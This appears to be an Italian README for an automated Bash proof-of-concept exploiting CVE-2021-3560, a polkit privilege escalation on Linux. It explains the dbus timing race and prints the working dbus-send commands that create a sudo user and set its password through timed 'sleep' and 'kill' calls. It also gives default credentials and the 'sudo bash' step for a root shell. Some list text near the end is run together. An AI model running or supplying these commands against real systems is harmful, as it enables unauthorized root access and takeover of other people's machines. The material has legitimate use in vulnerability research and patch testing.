
PoC Bash automatizzato per CVE-2021-3560, escalation dei privilegi di polkit. Sfrutta la race condition di temporizzazione di dbus per creare un utente sudo e ottenere una shell di root sulle distribuzioni Linux vulnerabili.
Questo è solo uno script Bash PoC che automatizza i passaggi di sfruttamento menzionati nel blog di Kevin Backhouse.
Leggi il suo post su questa vulnerabilità: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsservice e gnome-control-center e devono avere polkit versione 0.113 (o successiva) OPPURE 0-105-26 (fork Debian di polkit).Ubuntu 20.04, con polkit versione 0-105-26 (fork Debian di polkit) e Centos 8 con polkit versione 0.115. Se sei sicuro che il tuo target sia vulnerabile, ma la funzione di controllo dell'exploit fallisce, usa il flag -f=y per bypassare tutti i controlli e forzare l'exploit.Una spiegazione completa e un PoC per sfruttare manualmente questa vulnerabilità sono forniti in dettaglio nel blog del ricercatore.
Il TL;DR di questo exploit è riportato di seguito:
polkit inviando un messaggio dbus, ma chiudendo bruscamente la richiesta mentre polkit sta elaborando la richiesta. Poi l'attaccante può inviare una seconda richiesta con l'identificatore univoco del bus della richiesta precedente, per eseguire la richiesta come UID 0, noto anche come root.polkit, perché tratta l'UID di una connessione con un identificatore del bus che non esiste più come una richiesta proveniente dall'UID 0. Ciò significa che, se riusciamo a sincronizzare correttamente l'attacco e a terminare la nostra prima richiesta al momento giusto, possiamo inviare la seconda richiesta con i privilegi dell'UID 0, noto anche come root.Come ho detto prima, questo è solo uno script bash che automatizza il PoC di Kevin Backhouse. I comandi principali sono gli stessi; ho solo automatizzato alcuni passaggi iniziali (come calcolare il tempismo giusto, verificare la vulnerabilità, inserire credenziali personalizzate, stampare colori carini, ecc.).
Se questo script viene eseguito senza alcun parametro, il comportamento predefinito di questo script è il seguente:
/etc/os-release.]accountservice e gnome-control-center. [Nelle distribuzioni rhel/centos/fedora, usa rpm -qa; nelle distribuzioni debian/ubuntu, usa dpkg -l].rhel.centos,fedora e 0-105-26 per Debian/Ubuntu]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null su - <username> con la password fornita allo script, e poi digitare sudo bash per ottenere una shell di root!Esc per chiudere il prompt di autenticazione e Ctrl+C per terminare rapidamente lo script.$t) viene calcolato dividendo per 2 il tempo necessario per la richiesta. ($t=time-required-to-request/2) [Calcolato usando awk]$t), la richiesta per inserire $username secnigma nel target viene ripetuta 20 volte. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigma], viene generato un hash della password [usando bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!